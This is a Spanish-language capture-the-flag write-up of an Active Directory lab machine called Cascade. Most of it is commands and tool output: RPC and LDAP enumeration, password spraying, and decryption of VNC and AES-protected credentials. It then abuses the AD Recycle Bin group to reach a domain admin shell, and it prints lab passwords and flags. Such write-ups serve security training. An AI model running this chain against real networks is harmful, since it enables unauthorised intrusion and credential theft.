7 de febrero de 2023

Enumeración por RPC
Enumeración de Usuarios por Kerberos
ASPRepRoast Attack (Fallido)
Enumeración por SMB
Enumeración por LDAP
Kerberoasting Attack (Fallido)
Análisis de archivo EXE
Reto criptográfico
Abuso del grupo AD Recycle Bin
nmap -p- --open --min-rate 5000 -n -Pn -sS 10.10.10.182 -oG openports
Starting Nmap 7.93 ( https://nmap.org ) at 2023-02-08 16:04 GMT
Nmap scan report for 10.10.10.182
Host is up (0.17s latency).
Not shown: 65520 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE
53/tcp open domain
88/tcp open kerberos-sec
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap
445/tcp open microsoft-ds
636/tcp open ldapssl
3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPssl
5985/tcp open wsman
49154/tcp open unknown
49155/tcp open unknown
49157/tcp open unknown
49158/tcp open unknown
49170/tcp open unknown
Nmap done: 1 IP address (1 host up) scanned in 41.24 seconds
nmap -sCV -p53,88,135,139,389,445,636,3268,3269,5985,49154,49155,49157,49158,49170 10.10.10.182 -oN portscan
Starting Nmap 7.93 ( https://nmap.org ) at 2023-02-08 16:05 GMT
Nmap scan report for 10.10.10.182
Host is up (0.28s latency).
PORT STATE SERVICE VERSION
53/tcp open domain Microsoft DNS 6.1.7601 (1DB15D39) (Windows Server 2008 R2 SP1)
| dns-nsid:
|_ bind.version: Microsoft DNS 6.1.7601 (1DB15D39)
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2023-02-08 16:05:51Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: cascade.local, Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: cascade.local, Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49154/tcp open msrpc Microsoft Windows RPC
49155/tcp open msrpc Microsoft Windows RPC
49157/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49158/tcp open msrpc Microsoft Windows RPC
49170/tcp open msrpc Microsoft Windows RPC
Service Info: Host: CASC-DC1; OS: Windows; CPE: cpe:/o:microsoft:windows_server_2008:r2:sp1, cpe:/o:microsoft:windows
Host script results:
|_clock-skew: -1s
| smb2-time:
| date: 2023-02-08T16:06:49
|_ start_date: 2023-02-08T16:00:38
| smb2-security-mode:
| 210:
|_ Message signing enabled and required
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 111.78 seconds
Con crackmapexec aplico un escaneo para ver dominio, hostname y versiones
crackmapexec smb 10.10.10.182
SMB 10.10.10.182 445 CASC-DC1 [*] Windows 6.1 Build 7601 x64 (name:CASC-DC1) (domain:cascade.local) (signing:True) (SMBv1:False)
Agrego cascade.local al /etc/hosts
Intento listar los recursos compartidos
smbmap -H 10.10.10.182 -u 'null'
[!] Authentication error on 10.10.10.182
Pero no tengo acceso
Como tengo un dominio puedo tratar de efectuar un ataque de transferencia de zona y encontrar subdominios
dig @10.10.10.182 cascade.local axfr
; <<>> DiG 9.18.8-1-Debian <<>> @10.10.10.182 cascade.local axfr
; (1 server found)
;; global options: +cmd
; Transfer failed.
Pero falla. Aplico consultas a los name services y servidores de correo
dig @10.10.10.182 cascade.local ns
; <<>> DiG 9.18.8-1-Debian <<>> @10.10.10.182 cascade.local ns
; (1 server found)
;; global options: +cmd
;; Got answer:
;; WARNING: .local is reserved for Multicast DNS
;; You are currently testing what happens when an mDNS query is leaked to DNS
;; ->>HEADER<<- opcode: QUERY, status: FORMERR, id: 50477
;; flags: qr rd; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 1
;; WARNING: recursion requested but not available
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 1232
; COOKIE: a991071695bab58b (echoed)
;; QUESTION SECTION:
;cascade.local. IN NS
;; Query time: 40 msec
;; SERVER: 10.10.10.182#53(10.10.10.182) (UDP)
;; WHEN: Wed Feb 08 16:10:
dig @10.10.10.182 cascade.local mx
; <<>> DiG 9.18.8-1-Debian <<>> @10.10.10.182 cascade.local mx
; (1 server found)
;; global options: +cmd
;; Got answer:
;; WARNING: .local is reserved for Multicast DNS
;; You are currently testing what happens when an mDNS query is leaked to DNS
;; ->>HEADER<<- opcode: QUERY, status: FORMERR, id: 18547
;; flags: qr rd; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 1
;; WARNING: recursion requested but not available
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 1232
; COOKIE: bdd33778042db741 (echoed)
;; QUESTION SECTION:
;cascade.local. IN MX
;; Query time: 324 msec
;; SERVER: 10.10.10.182#53(10.10.10.182) (UDP)
;; WHEN: Wed Feb 08 16:10:54 GMT 2023
;; MSG SIZE rcvd: 54
No obtengo nada relevante
Con rpcclient puedo listar los usuarios haciendo uso de un null session
rpcclient -U "" 10.10.10.182 -N -c 'enumdomusers' | grep -oP '\[.*?\]' | tr -d '[]' | grep -v x
CascGuest
arksvc
s.smith
r.thompson
util
j.wakefield
s.hickson
j.goodhand
a.turnbull
e.crowe
b.hanson
d.burman
BackupSvc
j.allen
i.croft
Los valido por Kerberos
kerbrute userenum -d cascade.local --dc 10.10.10.182 users
__ __ __
/ /_____ _____/ /_ _______ __/ /____
/ //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
/ ,< / __/ / / /_/ / / / /_/ / /_/ __/
/_/|_|\___/_/ /_.___/_/ \__,_/\__/\___/
Version: dev (n/a) - 02/08/23 - Ronnie Flathers @ropnop
2023/02/08 16:27:06 > Using KDC(s):
2023/02/08 16:27:06 > 10.10.10.182:88
2023/02/08 16:27:12 > [+] VALID USERNAME: j.goodhand@cascade.local
2023/02/08 16:27:12 > [+] VALID USERNAME: a.turnbull@cascade.local
2023/02/08 16:27:12 > [+] VALID USERNAME: util@cascade.local
2023/02/08 16:27:12 > [+] VALID USERNAME: r.thompson@cascade.local
2023/02/08 16:27:12 > [+] VALID USERNAME: s.hickson@cascade.local
2023/02/08 16:27:12 > [+] VALID USERNAME: s.smith@cascade.local
2023/02/08 16:27:12 > [+] VALID USERNAME: arksvc@cascade.local
2023/02/08 16:27:12 > [+] VALID USERNAME: j.wakefield@cascade.local
2023/02/08 16:27:18 > [+] VALID USERNAME: j.allen@cascade.local
2023/02/08 16:27:18 > [+] VALID USERNAME: d.burman@cascade.local
2023/02/08 16:27:18 > [+] VALID USERNAME: BackupSvc@cascade.local
2023/02/08 16:27:18 > Done! Tested 15 usernames (11 valid) in 11.908 seconds
Los almaceno en un nuevo diccionario
Intento realizar un ASPRepRoast Attack, pero todos requieren de autenticación previa de Kerberos
GetNPUsers.py cascade.local/ -no-pass -usersfile valid_users
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation
[-] User j.goodhand doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User a.turnbull doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User util doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User r.thompson doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User s.hickson doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User s.smith doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User arksvc doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User j.wakefield doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User j.allen doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User d.burman doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User BackupSvc doesn't have UF_DONT_REQUIRE_PREAUTH set
Listo los grupos existentes
rpcclient -U "" 10.10.10.182 -N
rpcclient $> enumdomgroups
group:[Enterprise Read-only Domain Controllers] rid:[0x1f2]
group:[Domain Users] rid:[0x201]
group:[Domain Guests] rid:[0x202]
group:[Domain Computers] rid:[0x203]
group:[Group Policy Creator Owners] rid:[0x208]
group:[DnsUpdateProxy] rid:[0x44f]
Extraigo información para cada usuario y lo exporto en un archivo
rpcclient -U "" 10.10.10.182 -N -c 'enumdomusers' | grep -oP '\[.*?\]' | tr -d '[]' | grep x > rids
for rid in $(cat rids); do rpcclient -U "" 10.10.10.182 -N -c "queryuser $rid"; done > usersenum
Destaca que todos los usuarios tengan un LogonScript, llamado MapAuditDrive.vbs
Efectúo un Password Spraying, utilizando el mismo diccionario de usuarios como contraseñas
crackmapexec smb 10.10.10.182 -u valid_users -p valid_users | grep -v "-"
Ninguna es válida
No tengo credenciales válidas pero puedo extraer los namingcontexts
ldapsearch -H ldap://10.10.10.182:389/ -x -s base namingcontexts
# extended LDIF
#
# LDAPv3
# base <> (default) with scope baseObject
# filter: (objectclass=*)
# requesting: namingcontexts
#
#
dn:
namingContexts: DC=cascade,DC=local
namingContexts: CN=Configuration,DC=cascade,DC=local
namingContexts: CN=Schema,CN=Configuration,DC=cascade,DC=local
namingContexts: DC=DomainDnsZones,DC=cascade,DC=local
namingContexts: DC=ForestDnsZones,DC=cascade,DC=local
# search result
search: 2
result: 0 Success
# numResponses: 2
# numEntries: 1
Y extraigo mucha información
ldapsearch -x -H ldap://10.10.10.182:389/ -b "DC=cascade,DC=local" > ldapenum
Veo un recurso compartido, correspondiente al grupo Audit Share
description: \\Casc-DC1\Audit$
De todo la captura, filtro por el SPN de cada usuario. Para r.thomson hay un campo con una contraseña en base64
userPrincipalName: r.thompson@cascade.local
objectCategory: CN=Person,CN=Schema,CN=Configuration,DC=cascade,DC=local
dSCorePropagationData: 20200126183918.0Z
dSCorePropagationData: 20200119174753.0Z
dSCorePropagationData: 20200119174719.0Z
dSCorePropagationData: 20200119174508.0Z
dSCorePropagationData: 16010101000000.0Z
lastLogonTimestamp: 132294360317419816
msDS-SupportedEncryptionTypes: 0
cascadeLegacyPwd: clk0bjVldmE=
Y es válida
crackmapexec smb 10.10.10.182 -u 'r.thompson' -p 'rY4n5eva' | grep "+"
SMB 10.10.10.182 445 CASC-DC1 [+] cascade.local\r.thompson:rY4n5eva
Utilizo ldapdomaindump para dumpear datos y estructurarlos por tablas
ldapdomaindump -u 'cascade.local\r.thompson' -p 'rY4n5eva' 10.10.10.182
[*] Connecting to host...
[*] Binding to host
[+] Bind OK
[*] Starting domain dump
[+] Domain dump finished
Me monto un servicio HTTP con python y visualizo los datos desde el navegador
Dos usuarios pertenecen al grupo Remote Management Users

El usuario ArkSvc pertenece a AD Recycle Bin, lo que significa que tiene acceso a recursos que han sido borrados

Pruebo un Kerberoasting Attack, pero no es el caso
GetUserSPNs.py cascade.local/r.thompson:rY4n5eva
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation
No entries found!
Ahora ya puedo listar los recursos compartidos
smbmap -H 10.10.10.182 -u 'r.thompson' -p 'rY4n5eva'
[+] IP: 10.10.10.182:445 Name: cascade.local
Disk Permissions Comment
---- ----------- -------
ADMIN$ NO ACCESS Remote Admin
Audit$ NO ACCESS
C$ NO ACCESS Default share
Data READ ONLY
IPC$ NO ACCESS Remote IPC
NETLOGON READ ONLY Logon server share
print$ READ ONLY Printer Drivers
SYSVOL READ ONLY Logon server share
Listo los subdirectorios para Data
smbmap -H 10.10.10.182 -u 'r.thompson' -p 'rY4n5eva' -r 'Data'
[+] IP: 10.10.10.182:445 Name: cascade.local
Disk Permissions Comment
---- ----------- -------
Data READ ONLY
.\Data\*
dr--r--r-- 0 Tue Jan 28 22:05:51 2020 .
dr--r--r-- 0 Tue Jan 28 22:05:51 2020 ..
dr--r--r-- 0 Mon Jan 13 01:45:14 2020 Contractors
dr--r--r-- 0 Mon Jan 13 01:45:10 2020 Finance
dr--r--r-- 0 Tue Jan 28 18:04:51 2020 IT
dr--r--r-- 0 Mon Jan 13 01:45:20 2020 Production
dr--r--r-- 0 Mon Jan 13 01:45:16 2020 Temps
Creo una montura en mi equipo para trabajar más comodamente
mount -t cifs //10.10.10.182/Data /mnt/Cascade -o username=r.thompson,password=rY4n5eva,domain=cascade.local,rw
Ahora puedo ver los recursos de forma estructurada
tree
.
├── Contractors
├── Finance
├── IT
│ ├── Email Archives
│ │ └── Meeting_Notes_June_2018.html
│ ├── LogonAudit
│ ├── Logs
│ │ ├── Ark AD Recycle Bin
│ │ │ └── ArkAdRecycleBin.log
│ │ └── DCs
│ │ └── dcdiag.log
│ └── Temp
│ ├── r.thompson
│ └── s.smith
│ └── VNC Install.reg
├── Production
└── Temps
13 directories, 4 files
Hay una nota en HTML. La abro con el Firefox y veo lo siguiente:

Resumiendo el contenido, hay una cuenta temporal que ha sido borrada y su contraseña es la misma que la del usuario Administrador
Encuentro un registro de Windows
cd ./IT/Temp/s.smith
ls
VNC Install.reg
file VNC\ Install.reg
VNC Install.reg: Windows Registry little-endian text (Win2K or above)
Tiene un campo con una contraseña en hexadecimal
"Password"=hex:6b,cf,2a,4b,6e,5a,ca,0f
Pero al hacerle el proceso inverso no se ve en texto claro
echo '6b,cf,2a,4b,6e,5a,ca,0f' | tr -d ',' | xxd -ps -r; echo
k*KnZ
En Github hay una herramienta para descifrar la clave
git clone https://github.com/jeroennijhof/vncpwd
cd vncpwd
make
echo '6b,cf,2a,4b,6e,5a,ca,0f' | tr -d ',' | xxd -ps -r > password
./vncpwd password
Password: sT333ve2
Esa contraseña se reutiliza para un usuario
crackmapexec smb 10.10.10.182 -u valid_users -p 'sT333ve2' | grep "+"
SMB 10.10.10.182 445 CASC-DC1 [+] cascade.local\s.smith:sT333ve2
Había visto que pertenece al grupo Remote Management Users, así que me puedo conectar por winrm
Y gano acceso al sistema
evil-winrm -i 10.10.10.182 -u 's.smith' -p 'sT333ve2'
Evil-WinRM shell v3.4
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM Github: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\s.smith\Documents>
Puedo visualizar la primera flag
*Evil-WinRM* PS C:\Users\s.smith\Desktop> type user.txt
bc5dbc3a71e6158f70b16a8b5f7d196f
Este usuario pertenece al grupo Audit Share, y por tanto, puedo acceder al recurso que vi antes por LDAP
*Evil-WinRM* PS C:\Users> net localgroup "Audit Share"
Alias name Audit Share
Comment \\Casc-DC1\Audit$
Members
-------------------------------------------------------------------------------
s.smith
The command completed successfully.
Creo una unidad lógica sincronizada con ese recurso para acceder a su contenido
*Evil-WinRM* PS C:\Users> net use x: \\Casc-DC1\Audit$
The command completed successfully.
*Evil-WinRM* PS C:\Users> dir x:\
Directory: x:\
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 1/28/2020 9:40 PM DB
d----- 1/26/2020 10:25 PM x64
d----- 1/26/2020 10:25 PM x86
-a---- 1/28/2020 9:46 PM 13312 CascAudit.exe
-a---- 1/29/2020 6:00 PM 12288 CascCrypto.dll
-a---- 1/28/2020 11:29 PM 45 RunAudit.bat
-a---- 10/27/2019 6:38 AM 363520 System.Data.SQLite.dll
-a---- 10/27/2019 6:38 AM 186880 System.Data.SQLite.EF6.dll
Creo una nueva montura en mi equipo para acceder a ese recurso
mkdir /mnt/Cascade2
mount -t cifs //10.10.10.182/Audit$ /mnt/Cascade2 -o username=s.smith,password=sT333ve2,domain=cascade.local,rw
Dentro hay varios binarios de Windows
ls
CascAudit.exe CascCrypto.dll DB RunAudit.bat System.Data.SQLite.dll System.Data.SQLite.EF6.dll x64 x86
Copio todo a mi equipo para tenerlo en local
cp -r * /home/rubbx/Desktop/HTB/Machines/Cascade/prives
Dentro hay una base de datos SLQLite3
cd DB
ls
Audit.db
file Audit.db
Audit.db: SQLite 3.x database, last written using SQLite version 3027002, file counter 60, database pages 6, 1st free page 6, free pages 1, cookie 0x4b, schema 4, UTF-8, version-valid-for 60
Enumero sus tablas y columnas
sqlite3 Audit.db
SQLite version 3.40.0 2022-11-16 12:10:08
Enter ".help" for usage hints.
sqlite> .tables
sqlite> select * from Ldap;
1|ArkSvc|BQO5l5Kj9MdErXx6Q6AGOw==|cascade.local
Encuentro una contraseña, pero no está en texto claro
echo BQO5l5Kj9MdErXx6Q6AGOw== | base64 -d; echo
D|zC;
Al listar las cadenas de caracteres imprimibles del binario EXE, encuentro la clave en texto claro, c4scadek3y654321
strings -e l CascAudit.exe | sort -u
Transfiero todos los archivos a una máquina Windows para empezar a decompilar. En DNSpy encuentro la función que encripta la contraseña

Abro la función que se encargar de la encriptación y aparece el IV hardcodeado, se está empleando cifrado AES

En la función aes se puede ver el tipo de cifrado que está utilizando

Introduzco todos los valores en CyberChef y me devuelve el valor de la contraseña en texto claro. La contraseña es la que vi en la base de datos

La valido con crackmapexec
crackmapexec smb 10.10.10.182 -u 'Arksvc' -p 'w3lc0meFr31nd'
SMB 10.10.10.182 445 CASC-DC1 [*] Windows 6.1 Build 7601 x64 (name:CASC-DC1) (domain:cascade.local) (signing:True) (SMBv1:False)
SMB 10.10.10.182 445 CASC-DC1 [+] cascade.local\Arksvc:w3lc0meFr31nd
Y me conecto por winrm
evil-winrm -i 10.10.10.182 -u 'Arksvc' -p 'w3lc0meFr31nd'
Evil-WinRM shell v3.4
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM Github: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\arksvc\Documents>
Este usuario pertenece a AD Recycle Bin, por lo que puedo restaurar la cuenta temporal (TempAdmin) que fue eliminada según la nota que leí antes
*Evil-WinRM* PS C:\Users\arksvc\Documents> Get-ADObject -ldapFilter:"(msDS-LastKnownRDN=*)" -IncludeDeletedObjects | Select Name
Name
----
CASC-WS1...
Scheduled Tasks...
{A403B701-A528-4685-A816-FDEE32BDDCBA}...
Machine...
User...
TempAdmin...
Efectivamente, aparece como cuenta eliminada. Muestro las propiedades de todos los objetos y en un campo está su contraseña en base64
cascadeLegacyPwd : YmFDVDNyMWFOMDBkbGVz
Le hago un decode para tenerla en texto claro
echo YmFDVDNyMWFOMDBkbGVz | base64 -d; echo
baCT3r1aN00dles
La valido para el usuario Administrador
crackmapexec smb 10.10.10.182 -u 'Administrator' -p 'baCT3r1aN00dles'
SMB 10.10.10.182 445 CASC-DC1 [*] Windows 6.1 Build 7601 x64 (name:CASC-DC1) (domain:cascade.local) (signing:True) (SMBv1:False)
SMB 10.10.10.182 445 CASC-DC1 [+] cascade.local\Administrator:baCT3r1aN00dles (Pwn3d!)
Me conecto por winrm y puedo visualizar la segunda flag
evil-winrm -i 10.10.10.182 -u 'Administrator' -p 'baCT3r1aN00dles'
Evil-WinRM shell v3.4
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM Github: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> type C:\Users\Administrator\Desktop\root.txt
3f560e35b215934b112a0e3ade5f169e